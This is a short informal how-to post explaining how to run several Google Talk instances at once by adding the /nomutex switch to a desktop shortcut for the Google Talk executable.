Now it's turn to use multiple google talk. Previously we covered that how to run multiple Yahoo messenger trick,

Well for google talk, you don't have to download any software. Just follow the following simple steps.

1) Create a Shortcut on ur Desktop.

2) In the field 'type the location of the item' paste the following source...

c:\program files\google\google talk\googletalk.exe" /nomutex

3)If this loction doesn't work, then locate manually by clicking on browse option. Then go to c: -> program file -> google-> google talk->googletalk.exe

and then paste /nomutex in the end of manually located source.

Finished. Now you can run multiple Google Talk.